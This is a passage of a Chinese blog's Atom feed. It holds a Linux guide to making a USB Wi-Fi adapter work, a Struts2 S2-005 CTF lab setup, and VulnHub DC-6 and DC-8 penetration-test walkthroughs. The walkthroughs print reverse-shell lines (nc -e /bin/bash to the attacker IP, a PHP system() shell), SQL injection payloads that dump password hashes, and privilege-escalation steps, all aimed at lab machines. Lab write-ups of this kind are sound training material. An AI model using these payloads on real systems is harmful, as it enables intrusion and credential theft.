href="https://www.elevenforum.com/t/turn-on-or-off-use-check-boxes-to-select-items-in-windows-11.764/">https://www.elevenforum.com/t/turn-on-or-off-use-check-boxes-to-select-items-in-windows-11.764/</a></li></ul>]]>
    </content>
    <id>https://moxin1044.github.io/posts/9a7d/</id>
    <link href="https://moxin1044.github.io/posts/9a7d/"/>
    <published>2026-10-13T18:10:00.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js"]]>
    </summary>
    <title>【Windows】修复 Win11 文件资源管理器复选框关不掉的问题</title>
    <updated>2026-10-13T18:34:07.171Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="Linux" scheme="https://moxin1044.github.io/categories/Linux/"/>
    <category term="ArchLinux" scheme="https://moxin1044.github.io/categories/Linux/ArchLinux/"/>
    <category term="网络" scheme="https://moxin1044.github.io/categories/Linux/ArchLinux/%E7%BD%91%E7%BB%9C/"/>
    <category term="ArchLinux" scheme="https://moxin1044.github.io/tags/ArchLinux/"/>
    <category term="运维" scheme="https://moxin1044.github.io/tags/%E8%BF%90%E7%BB%B4/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>很多国产 USB 无线网卡，比如某些标注“免驱”这类的网卡，通常在 Windows 上能够即插即用或者有适配的驱动，但是在 Linux 下会遇到一些坑。前些日子我给我的一个迷你主机装了一个 ArchLinux，但是机器的网卡不是很好，换了一个但暂时没有适配的信号天线，所以找了一下之前的无线网卡临时用下，发现了一款标注“免驱”的网卡，试了一试。</p><p>本文以 <strong>COMFAST CF-922AC（MT7612U 芯片）</strong> 为例，完整记录从识别设备、切换网卡模式、加载内核驱动、到 iwctl 正常联网的全过程，理论适配所有同方案联发科 / 瑞昱国产免驱 USB 无线网卡。</p><h1 id="实验"><a href="#实验" class="headerlink" title="实验"></a>实验</h1><p>插上能被 <code>lsusb</code> 识别（也有可能不出具体型号），<strong>但 iwctl、系统网络设置里完全看不到无线网卡</strong>。</p><p><img src="../../attachments/image-20260501231151650.png" alt="image-20260501231151650"></p><h2 id="识别设备与模式切换"><a href="#识别设备与模式切换" class="headerlink" title="识别设备与模式切换"></a>识别设备与模式切换</h2><p>注意看这个 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Bus 001 Device 010: ID 0e8d:2870 MediaTek Inc. Љ</span><br></pre></td></tr></table></figure><p>不是上面的RTL8812AU</p><p>你会发现只能得到这是个联发科的设备</p><p><img src="../../attachments/image-20260501231156219.png" alt=""></p><p>查看网卡的时候没这个网卡</p><p>（我的wlan0是板载，wlan2是那个RTL8812AU）</p><p>此时设备其实处于默认的 <strong>Mass Storage 模式</strong>（存储模式），主要给Windows展示为一个优盘，让系统安装优盘内的驱动（其实要我说…这纯纯浪费存储芯片，当然这存储芯片也成便宜了），因此 Linux 无法识别为网络设备。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S usb_modeswitch</span><br></pre></td></tr></table></figure><p>安装USB模式切换工具</p><p><img src="../../attachments/image-20260501231201365.png" alt=""></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> <span class="built_in">mkdir</span> -p /etc/usb_modeswitch.d</span><br></pre></td></tr></table></figure><p>创建配置文件</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;TargetVendor=0x0e8d</span></span><br><span class="line"><span class="string">TargetProduct=0x2870</span></span><br><span class="line"><span class="string">MessageContent=&quot;5553424312345678000000000000061b000000020000000000000000000000&quot;&#x27;</span> | <span class="built_in">sudo</span> <span class="built_in">tee</span> /etc/usb_modeswitch.d/0e8d:2870</span><br></pre></td></tr></table></figure><p><code>MessageContent</code>用十六进制表示的二进制数据，用来让某些 USB 设备从“存储模式”切换到“工作模式”（比如网卡/调制解调器模式）</p><p>这串数据是一个 <strong>USB Mass Storage Bulk-Only Transport (BOT) 命令块（CBW）</strong>，很多 3G/4G/USB 网卡都会用这种方式切换模式。</p><p>本质就是：</p><blockquote><p>一个伪装成 SCSI “弹出设备”的命令，用来让 USB 设备退出 U 盘模式，切换到功能模式（比如网卡/调制解调器）</p></blockquote><h3 id="分段解析"><a href="#分段解析" class="headerlink" title="分段解析"></a>分段解析</h3><p>把它按字节拆开：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">55 53 42 43</span><br><span class="line">12 34 56 78</span><br><span class="line">00 00 00 00</span><br><span class="line">00 00 06 1b</span><br><span class="line">00</span><br><span class="line">00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00 00 00</span><br></pre></td></tr></table></figure><p>解释如下：</p><h4 id="前4字节：签名"><a href="#前4字节：签名" class="headerlink" title="前4字节：签名"></a>前4字节：签名</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">55 53 42 43</span><br></pre></td></tr></table></figure><p>ASCII = <code>&quot;USBC&quot;</code></p><p>表示这是一个 <strong>USB Command Block Wrapper (CBW)</strong></p><hr><h4 id="接下来4字节：Tag"><a href="#接下来4字节：Tag" class="headerlink" title="接下来4字节：Tag"></a>接下来4字节：Tag</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">12 34 56 78</span><br></pre></td></tr></table></figure><p>一个随便的标识符，用来匹配请求和响应</p><hr><h4 id="数据长度"><a href="#数据长度" class="headerlink" title="数据长度"></a>数据长度</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">00 00 00 00</span><br></pre></td></tr></table></figure><p>表示这个命令 <strong>不期望返回数据</strong></p><hr><h4 id="标志-LUN-命令长度"><a href="#标志-LUN-命令长度" class="headerlink" title="标志 + LUN + 命令长度"></a>标志 + LUN + 命令长度</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">00</span><br><span class="line">00</span><br><span class="line">06</span><br></pre></td></tr></table></figure><ul><li>方向：0（主机→设备）</li><li>LUN：0</li><li>命令长度：6 字节</li></ul><hr><h4 id="核心命令"><a href="#核心命令" class="headerlink" title="核心命令"></a>核心命令</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1b 00 00 00 02 00</span><br></pre></td></tr></table></figure><p>这里是一个 <strong>SCSI 命令</strong></p><p><code>1b</code> = SCSI START STOP UNIT 命令</p><p>后面的参数：</p><ul><li><code>02</code>  关键参数（Load/Eject/Start）</li></ul><p>这个组合通常表示：</p><blockquote><p><strong>触发设备模式切换（Eject / 切换模式）</strong></p></blockquote><p>很多 USB 设备（特别是联发科 / 华为 / 中兴设备）：</p><ul><li>插上时先当 U 盘（内置驱动）</li><li>需要发送这个命令</li><li>才会变成真正的设备（比如 LTE 网卡）</li></ul><p><strong>注意</strong></p><p>如果没成功，可能需要手动执行一下：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> usb_modeswitch -v 0x0e8d -p 0x2870 -M <span class="string">&#x27;5553424312345678000000000000061b000000020000000000000000000000&#x27;</span></span><br></pre></td></tr></table></figure><p>但是我反正没执行就可以了</p><p><img src="../../attachments/image-20260501231211208.png" alt=""></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> modprobe mt76</span><br></pre></td></tr></table></figure><p>加载驱动</p><p>啊。。如果不对，那就是</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> modprobe mt76x2u</span><br></pre></td></tr></table></figure><p>使用 iwctl 管理 WiFi，重启服务识别新网卡接口：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl restart iwd</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260501231214718.png" alt="image-20260501231214718"></p><p><img src="../../attachments/image-20260501231216902.png" alt="image-20260501231216902"></p><h1 id="补充"><a href="#补充" class="headerlink" title="补充"></a>补充</h1><p>1.切换后仍无网卡</p><ul><li>检查是否安装 <code>linux-firmware</code> 固件包</li><li>重新插拔网卡，再执行一次 modeswitch 切换</li></ul><p>2.重启电脑后网卡又变回 U 盘模式</p><ul><li>可配置 <code>udev</code> 规则，开机自动触发模式切换，无需手动输命令</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> <span class="built_in">tee</span> /etc/udev/rules.d/99-mt7612u.rules &lt;&lt; <span class="string">&#x27;EOF&#x27;</span></span><br><span class="line"><span class="comment"># MT7612U 自动切换为 WiFi 模式</span></span><br><span class="line">SUBSYSTEM==<span class="string">&quot;usb&quot;</span>, ATTR&#123;idVendor&#125;==<span class="string">&quot;0e8d&quot;</span>, ATTR&#123;idProduct&#125;==<span class="string">&quot;2870&quot;</span>, RUN+=<span class="string">&quot;/usr/bin/usb_modeswitch -v 0x0e8d -p 0x2870 -M &#x27;5553424312345678000000000000061b000000020000000000000000000000&#x27;&quot;</span></span><br><span class="line">EOF</span><br></pre></td></tr></table></figure><p>重新加载 udev 规则：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> udevadm control --reload-rules</span><br><span class="line"><span class="built_in">sudo</span> udevadm trigger</span><br></pre></td></tr></table></figure><p>3.同时有多张 USB 无线网卡</p><ul><li>内核会自动生成 <code>wlan0</code>、<code>wlan1</code> 多接口，iwctl 可分别管理</li></ul>]]>
    </content>
    <id>https://moxin1044.github.io/posts/ac10/</id>
    <link href="https://moxin1044.github.io/posts/ac10/"/>
    <published>2026-05-01T14:45:02.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js"]]>
    </summary>
    <title>【ArchLinux】如何制服国产免驱网卡</title>
    <updated>2026-05-01T15:12:59.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="漏洞" scheme="https://moxin1044.github.io/categories/%E6%BC%8F%E6%B4%9E/"/>
    <category term="Web" scheme="https://moxin1044.github.io/categories/%E6%BC%8F%E6%B4%9E/Web/"/>
    <category term="分析复现" scheme="https://moxin1044.github.io/categories/%E6%BC%8F%E6%B4%9E/Web/%E5%88%86%E6%9E%90%E5%A4%8D%E7%8E%B0/"/>
    <category term="漏洞" scheme="https://moxin1044.github.io/tags/%E6%BC%8F%E6%B4%9E/"/>
    <category term="漏洞分析" scheme="https://moxin1044.github.io/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    <category term="Struct2" scheme="https://moxin1044.github.io/tags/Struct2/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="题目环境"><a href="#题目环境" class="headerlink" title="题目环境"></a>题目环境</h1><h2 id="Dockerfile"><a href="#Dockerfile" class="headerlink" title="Dockerfile"></a>Dockerfile</h2><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> tomcat:<span class="number">8.5</span>-jre8</span><br><span class="line"></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get update &amp;&amp; apt-get install -y curl netcat &amp;&amp; <span class="built_in">rm</span> -rf /var/lib/apt/lists/*</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> S2-005.war /usr/local/tomcat/webapps/ROOT.war</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> <span class="built_in">echo</span> <span class="string">&#x27;#!/bin/bash\n\</span></span></span><br><span class="line"><span class="string"><span class="language-bash">if [ -n &quot;$FLAG&quot; ]; then\n\</span></span></span><br><span class="line"><span class="string"><span class="language-bash">    echo &quot;$FLAG&quot; &gt; /flag\n\</span></span></span><br><span class="line"><span class="string"><span class="language-bash">    chmod 444 /flag\n\</span></span></span><br><span class="line"><span class="string"><span class="language-bash">    echo &quot;[+] Flag written to /flag&quot;\n\</span></span></span><br><span class="line"><span class="string"><span class="language-bash">else\n\</span></span></span><br><span class="line"><span class="string"><span class="language-bash">    echo &quot;[-] FLAG environment variable is empty!&quot; &gt; /flag\n\</span></span></span><br><span class="line"><span class="string"><span class="language-bash">fi\n\</span></span></span><br><span class="line"><span class="string"><span class="language-bash">exec catalina.sh run&#x27;</span> &gt; /docker-entrypoint.sh &amp;&amp; \</span></span><br><span class="line"><span class="language-bash"><span class="built_in">chmod</span> +x /docker-entrypoint.sh</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">&quot;/docker-entrypoint.sh&quot;</span>]</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">EXPOSE</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><h2 id="docker-compose-yml"><a href="#docker-compose-yml" class="headerlink" title="docker-compose.yml"></a>docker-compose.yml</h2><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">version:</span> <span class="string">&#x27;3.8&#x27;</span></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">struts2-s2-005:</span></span><br><span class="line">    <span class="attr">build:</span> <span class="string">.</span></span><br><span class="line">    <span class="attr">image:</span> <span class="number">10.0</span><span class="number">.8</span><span class="number">.32</span><span class="string">:5000/qsnctf/struts2-s2-005:flag</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">s2-005-flag</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;8080:8080&quot;</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">FLAG=flag&#123;qsnctf&#125;</span> </span><br><span class="line">    <span class="attr">restart:</span> <span class="string">unless-stopped</span></span><br></pre></td></tr></table></figure><h2 id="启动环境"><a href="#启动环境" class="headerlink" title="启动环境"></a>启动环境</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">docker-compose build</span><br><span class="line">docker-compose up</span><br></pre></td></tr></table></figure><h1 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h1><p><img src="../../attachments/image-20260405100203937.png" alt=""></p><p><img src="../../attachments/image-20260405100216954.png" alt=""></p>]]>
    </content>
    <id>https://moxin1044.github.io/posts/b51c/</id>
    <link href="https://moxin1044.github.io/posts/b51c/"/>
    <published>2026-04-05T01:41:12.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js"]]>
    </summary>
    <title>【漏洞复现】CVE-2010-1870-S2-005 远程代码执行漏洞</title>
    <updated>2026-05-01T15:12:59.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="渗透测试" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="vulnhub" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/vulnhub/"/>
    <category term="DC靶场" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/vulnhub/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="渗透测试" scheme="https://moxin1044.github.io/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="DC靶场" scheme="https://moxin1044.github.io/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="vulnhub" scheme="https://moxin1044.github.io/tags/vulnhub/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><ul><li><strong>名称</strong>：DC：6</li></ul><h1 id="环境部署"><a href="#环境部署" class="headerlink" title="环境部署"></a>环境部署</h1><ul><li>虚拟化：VMware Workstation</li><li>网卡：NAT</li></ul><h2 id="攻击机"><a href="#攻击机" class="headerlink" title="攻击机"></a>攻击机</h2><ul><li>IP 192.168.8.129</li><li>Kali Linux 25.3</li></ul><h2 id="靶机"><a href="#靶机" class="headerlink" title="靶机"></a>靶机</h2><ul><li>DC-6</li><li>IP 192.168.8.131</li></ul><h1 id="渗透流程"><a href="#渗透流程" class="headerlink" title="渗透流程"></a>渗透流程</h1><h2 id="主机发现"><a href="#主机发现" class="headerlink" title="主机发现"></a>主机发现</h2><p><img src="../../attachments/image-20260403011656639.png" alt=""></p><h2 id="端口扫描"><a href="#端口扫描" class="headerlink" title="端口扫描"></a>端口扫描</h2><p><img src="../../attachments/image-20260403011806428.png" alt=""></p><h2 id="访问"><a href="#访问" class="headerlink" title="访问"></a>访问</h2><p><img src="../../attachments/image-20260403011853932.png" alt=""></p><p>访问会跳转到wordy</p><p>编辑/etc/hosts</p><p><img src="../../attachments/image-20260403011959930.png" alt=""></p><p><img src="../../attachments/image-20260403012029280.png" alt=""></p><h2 id="其余信息收集"><a href="#其余信息收集" class="headerlink" title="其余信息收集"></a>其余信息收集</h2><p>由于也是WordPress网站，我们依旧使用wpscan扫描</p><p><img src="../../attachments/image-20260403012906126.png" alt=""></p><p><img src="../../attachments/image-20260403012925528.png" alt=""></p><p>扫出几个用户</p><h2 id="网页密码爆破"><a href="#网页密码爆破" class="headerlink" title="网页密码爆破"></a>网页密码爆破</h2><p><img src="../../attachments/image-20260403013053230.png" alt=""></p><p><img src="../../attachments/image-20260403155526852.png" alt=""></p><p>找到mark 密码是helpdesk01</p><p><img src="../../attachments/image-20260403155623475.png" alt=""></p><p><img src="../../attachments/image-20260403155635706.png" alt=""></p><p>登录成功</p><p><img src="../../attachments/image-20260403155810499.png" alt=""></p><p>发现一个插件功能</p><p><img src="../../attachments/image-20260403155837889.png" alt=""></p><p><img src="../../attachments/image-20260403155859163.png" alt=""></p><p>那么查询功能可能存在命令执行</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1 | ls</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260403155955543.png" alt=""></p><p>当我想列出用户名的时候，发现输入框应该有长度限制，但是应该只是前端的</p><p><img src="../../attachments/image-20260403160029703.png" alt=""></p><p><img src="../../attachments/image-20260403160053121.png" alt=""></p><p>修改这里的maxlength</p><p>我直接删除掉了</p><p><img src="../../attachments/image-20260403160154648.png" alt=""></p><p><img src="../../attachments/image-20260403160218681.png" alt=""></p><p>开一个nc监听</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1 | nc -e /bin/bash 192.168.8.129 9999</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260403160415814.png" alt=""></p><p>进入交互模式</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -c <span class="string">&#x27;import pty;pty.spawn(&quot;/bin/bash&quot;)&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260403160706244.png" alt=""></p><p>发现mark用户下的stuff里，有一个things-to-do.txt</p><p><img src="../../attachments/image-20260403160735913.png" alt=""></p><p>找到一个，添加了graham用户密码为GSo7isUM1D4</p><p><img src="../../attachments/image-20260403160957327.png" alt="先"></p><p>ssh登录成功</p><p><img src="../../attachments/image-20260403161103805.png" alt=""></p><p>backups.sh，属主是jens，属组是devs，也就是只要是这个属组和属主，都可以去读写执行，其他的用户只能读取和执行。</p><p><img src="../../attachments/image-20260403161242529.png" alt=""></p><p>那么如果<code>echo &quot;/bin/bash&quot; &gt;&gt; /home/jens/backups.sh</code></p><p><img src="../../attachments/image-20260403161537034.png" alt=""></p><p><img src="../../attachments/image-20260403161550805.png" alt=""></p><p>切换到jens后，发现有nmap可以提权</p><p><img src="../../attachments/image-20260403162009606.png" alt=""></p><p><img src="../../attachments/image-20260403162046124.png" alt=""></p>]]>
    </content>
    <id>https://moxin1044.github.io/posts/3694/</id>
    <link href="https://moxin1044.github.io/posts/3694/"/>
    <published>2026-04-01T14:05:20.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js"]]>
    </summary>
    <title>【DC系列靶场】DC:06</title>
    <updated>2026-04-03T08:21:20.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="渗透测试" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="vulnhub" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/vulnhub/"/>
    <category term="DC靶场" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/vulnhub/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="渗透测试" scheme="https://moxin1044.github.io/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="DC靶场" scheme="https://moxin1044.github.io/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="vulnhub" scheme="https://moxin1044.github.io/tags/vulnhub/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><ul><li><strong>名称</strong>：DC：8</li></ul><h1 id="环境部署"><a href="#环境部署" class="headerlink" title="环境部署"></a>环境部署</h1><ul><li>虚拟化：VMware Workstation</li><li>网卡：NAT</li></ul><h2 id="攻击机"><a href="#攻击机" class="headerlink" title="攻击机"></a>攻击机</h2><ul><li>IP 192.168.8.131</li><li>Kali Linux 25.3</li></ul><h2 id="靶机"><a href="#靶机" class="headerlink" title="靶机"></a>靶机</h2><ul><li>DC-8</li><li>IP 192.168.8.161</li></ul><h1 id="渗透流程"><a href="#渗透流程" class="headerlink" title="渗透流程"></a>渗透流程</h1><h2 id="主机发现"><a href="#主机发现" class="headerlink" title="主机发现"></a>主机发现</h2><p><img src="../../attachments/image-20260401234423231.png" alt=""></p><h2 id="端口扫描"><a href="#端口扫描" class="headerlink" title="端口扫描"></a>端口扫描</h2><p><img src="../../attachments/image-20260401234514158.png" alt=""></p><h2 id="Web渗透"><a href="#Web渗透" class="headerlink" title="Web渗透"></a>Web渗透</h2><p><img src="../../attachments/image-20260401234540517.png" alt=""></p><p><img src="../../attachments/image-20260401234710705.png" alt=""></p><p>Drupal 7.67</p><p>检索一下漏洞</p><p><img src="../../attachments/image-20260401234829539.png" alt=""></p><p>随便点一个文章先看看</p><p><img src="../../attachments/image-20260401235629172.png" alt=""></p><p><img src="../../attachments/image-20260401235707489.png" alt=""></p><p>这地方还真有SQL注入</p><p><img src="../../attachments/image-20260401235740169.png" alt=""></p><p>order by 1是正常的 by 就报错了</p><p>并且其实这里给出来了完整的语句</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> title <span class="keyword">FROM</span> node <span class="keyword">WHERE</span> nid <span class="operator">=</span> <span class="number">1</span> <span class="keyword">order</span> <span class="keyword">by</span> <span class="number">2</span>;</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260402000355911.png" alt=""></p><p>当ID小于3的时候，输出的内容是程序控制的</p><p><img src="../../attachments/image-20260402000908878.png" alt=""></p><p><img src="../../attachments/image-20260402000436715.png" alt=""></p><p>为-1或者大于3的时候就可以拿到内容</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.8.161/?nid=-1 UNION SELECT database()</span><br></pre></td></tr></table></figure><p>获取数据库名称</p><p><img src="../../attachments/image-20260402000611798.png" alt=""></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?nid=-1 UNION SELECT GROUP_CONCAT(table_name SEPARATOR &#x27;~&#x27;) FROM information_schema.tables WHERE table_schema=&#x27;d7db&#x27;</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260402001030377.png" alt=""></p><p>爆数据库</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?nid=-1 UNION SELECT GROUP_CONCAT(CONCAT(name, &#x27;:&#x27;, pass) SEPARATOR &#x27; || &#x27;) FROM users</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260402001317042.png" alt=""></p><p>admin和John，这里john应该是提醒我们使用john去爆破</p><p><img src="../../attachments/image-20260402001519016.png" alt=""></p><p>john的密码是turtle</p><p>找到之前扫到的后台地址</p><p><img src="../../attachments/image-20260402003840309.png" alt=""></p><p>使用john登录成功</p><p><img src="../../attachments/image-20260402004030207.png" alt=""></p><p>在Contact US — Webform — Form setting处存在远程代码执行。</p><p><img src="../../attachments/image-20260402004055775.png" alt=""></p><p><img src="../../attachments/image-20260402004500322.png" alt=""></p><p>回来随便传一些东西</p><p><img src="../../attachments/image-20260402004329196.png" alt=""></p><p><img src="../../attachments/image-20260402004511854.png" alt=""></p><p>发现执行了phpinfo</p><p>那么这里应该也能反弹shell</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line"><span class="title function_ invoke__">system</span>(<span class="string">&quot;nc -e /bin/bash 192.168.8.131 9999&quot;</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260402004635851.png" alt=""></p><p><img src="../../attachments/image-20260402004716336.png" alt=""></p><p><img src="../../attachments/image-20260402004734633.png" alt=""></p><p><img src="../../attachments/image-20260402004858957.png" alt=""></p><p>拿交互，看suid特权文件</p><p>发现exim4</p><p><img src="../../attachments/image-20260402005140913.png" alt=""></p><p><strong>Exim 4.89</strong>（2017 年构建），正好落在 <strong>CVE-2019-10149</strong>（也叫 “The Return of the WIZard”）的漏洞范围 <strong>4.87 ~ 4.91</strong> 内。</p><p>这个漏洞允许<strong>本地权限提升到 root</strong>（Local Privilege Escalation）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">searchsploit exim</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260402005348443.png" alt=""></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">searchsploit -m linux/local/46996</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260402005431517.png" alt=""></p><p>启用监听</p><p><img src="../../attachments/image-20260402005506792.png" alt=""></p><p>下载并加执行</p><p><img src="../../attachments/image-20260402005628765.png" alt=""></p><p><img src="../../attachments/image-20260402005654749.png" alt=""></p><p>默认方式并没有成功，setuid也一样（好像默认就是setuid）</p><p><img src="../../attachments/image-20260402005919867.png" alt=""></p><p>我们试试netcat</p><p><img src="../../attachments/image-20260402005949199.png" alt=""></p><p>成功</p><p><img 